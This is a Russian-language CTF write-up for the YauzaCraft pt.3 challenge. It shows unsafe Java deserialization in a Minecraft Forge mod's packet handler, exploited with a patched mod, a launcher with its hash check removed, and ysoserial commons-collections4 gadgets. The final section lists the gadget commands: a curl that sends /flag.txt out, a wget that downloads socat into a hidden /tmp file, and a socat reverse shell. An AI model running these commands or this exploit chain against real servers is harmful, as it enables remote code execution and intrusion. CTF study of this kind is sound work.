# YauzaCTF - YauzaCraft pt.3 Writeup
## Карточка таска

## Решаем
Для начала качаем лаунчер, регаемся, заходим разок в игру, чтобы лаучер вытащил клиент.
На винде клиент качается в `%appdata%/.yauzacraft`
Вместе с клиентом нам прилетают моды - а конкретно, один единственный мод, yauzactf:

### Смотрим мод
Если открыть мод в любом декомпиле джавы (я буду использовать [Recaf](https://github.com/Col-E/Recaf)), можно увидеть определенное дерево классов:

Это достаточно дефолтные классы и файлы для любого мода на фордже.
Из всего многообразия классов, нас интересует только один - `CPacketBlockInfoRequest`.
### CPacketBlockInfoRequest
> Стоит заметить, что и в сервер, и в клиент - грузится один и тот же jar'ник мода, просто некоторые части его кода выполняются только на сервере, некоторые - только на клиенте, а некоторые - и там, и так.
У классов, реализующих интерфейс `IMessage` (к коим, несомненно, относится и `CPacketBlockInfoRequest`) - есть три основных задачи:
- Взять какие-то данные на клиенте (или сервере) и сериализовать их
- Получить эти данные на сервере (или клиенте), и десериализовать их
- Обработать получившийся объект.
Декомпилируем класс, и посмотрим, что в нём есть - одно поле и несколько методов:
- `private BlockPos blockPos`
- `public void fromBytes(ByteBuf buf)`
- `public void toBytes(ByteBuf buf)`
- `public IMessage Handler.onMessage(CPacketBlockInfoRequest message, MessageContext ctx)`
`from/toBytes` - функции, отвечающие за сериализацию и десериализацию, а `Handler.onMessage` - обработчик сообщения `CPacketBlockInfoRequest`.
Очевидно, что из этих функций, на клиенте выполняется `toBytes`, при формировании сообщения, а на сервере - `fromBytes` и `onMessage`, при обработке сообщения.
Если посмотреть внимательно на функцию `fromBytes`, можно заметить небезопасную десериализацию.
```java=
public void fromBytes(ByteBuf buf) {
int readable = buf.readableBytes();
if (readable == 0) {
return;
}
try {
byte[] buffer = new byte[readable];
buf.getBytes(0, buffer);
ByteArrayInputStream bis = new ByteArrayInputStream(buffer);
ObjectInputStream ois = new ObjectInputStream(bis);
this.blockPos = ((NetBlockPos)ois.readObject()).getBlockPos();
ois.close();
bis.close();
}
catch (IOException | ClassCastException | ClassNotFoundException exception) {
exception.printStackTrace();
}
}
```
В джаве её заметить легко - об этом говорит использование метода `ObjectInputStream.readObject()`.
Отлично, уязвимость найдена, осталось её только проэксплуатировать.
### Эксплуатация
Первый шаг, необходимый для эксплуатации такой уязвимости - надо исправить мод, чтобы он отправлял не тот объект, который он получит из другого куска мода и сериализует, а тот, что нужен нам.
#### Изменение мода
Подозреваю, что есть и более простой путь, однако, поскольку мод был достаточно небольшим, я просто декомпильнул весь мод, и пересобрал его заного.
Процесс декомпиляции прост, как тапок, а вот в процессе пересборки возникла проблема с обфускацией функций и полей майна - это решилось скачиванием последнего [minecraft coder pack'a](http://www.modcoderpack.com/files/mcp940.zip), и простым переименовыванием по таблицам `mcp937/conf/fields.csv` и `mcp937/conf/methods.csv`.
Единственный метод, который необходимо изменить - это `CPacketBlockInfoRequest.toBytes`, после некоторых вольных изменений, он стал выглядеть следующим образом:
```java=
public void toBytes(ByteBuf buf) {
try {
buf.writeBytes(Files.readAllBytes(Paths.get("C:\\minecraft\\gadget.ser")));
}
catch (IOException exception) {
exception.printStackTrace();
}
}
```
Отлично, мы запатчили мод, однако, если попробовать его загрузить напрямую в папку `mods` - можно столкнуться с тем, что лаунчер лишний, или не совпадающий по хешу, файл удалит, и/или перекачает заново.
#### Фикс лаунчера
Чтобы такого не происходило, я предпочитаю патчить лаунчер. Благо, в нашем случае это сделать проще простого - берем вышеупомянутый `recaf`, находим класс `com.yauzactf.launcher.common.UpdateHandler`, и в методе `UpdateHandler` - убираем проверку:
```java=
for (FileInfo info : files) {
if (info.getPlatform() != null && info.getPlatform() != CommonUtils.getPlatform()) continue;
whitelist.add(info.getFile().getAbsoluteFile().toString());
if (info.getFile().exists()) {
String fileHash = CommonUtils.getFileSHA1(info.getFile());
if (fileHash.equals(info.getHash())) continue;
info.getFile().delete();
filesToDownload.add(info);
continue;
}
filesToDownload.add(info);
}
```
\- превращается в >
```java=
for (FileInfo info : files) {
if (info.getPlatform() != null && info.getPlatform() != CommonUtils.getPlatform()) continue;
whitelist.add(info.getFile().getAbsoluteFile().toString());
if (info.getFile().exists()) {
continue;
}
filesToDownload.add(info);
}
```
Аналогично, из метода `deleteNonWhitelistedFiles` того же класса убирается вызов `file.delete()`.
#### Гаджет
Для генерации гаджета использовался [ysoserial](https://github.com/frohoff/ysoserial). Выбор основы для гаджета много времени не занял, ведь, при пересборке мода пришлось заметить, что в нём используется класс из `org.apache.commons.collections4`, а значит, эта библиотека точно присутствует и подгружена - и как раз под неё есть целых два гаджета.
Сами гаджеты с отредактированным модом использовать очень просто - достаточно один раз зайти в игру и тыкать испектором блоков по чему-нибудь, а сериализатор будет отправлять тот гаджет, что есть в файле.
#### Завершение
Изначально я пытался достать флаг через `curl -d "@/flag.txt"`, но _почему-то_ этот пейлоад не отрабатывал, поэтому я забил и решил идти через реверсшелл, через сокат.
В итоге получилось три команды - три гаджета:
- `wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/.socat1337`
- `chmod +x /tmp/.socat1337` (сработало почему-то не сразу, пришлось несколько раз отправлять)
- `/tmp/.socat1337 exec:'/bin/sh',pty,stderr,setsid,sigint,sane tcp:<redacted>:<port>`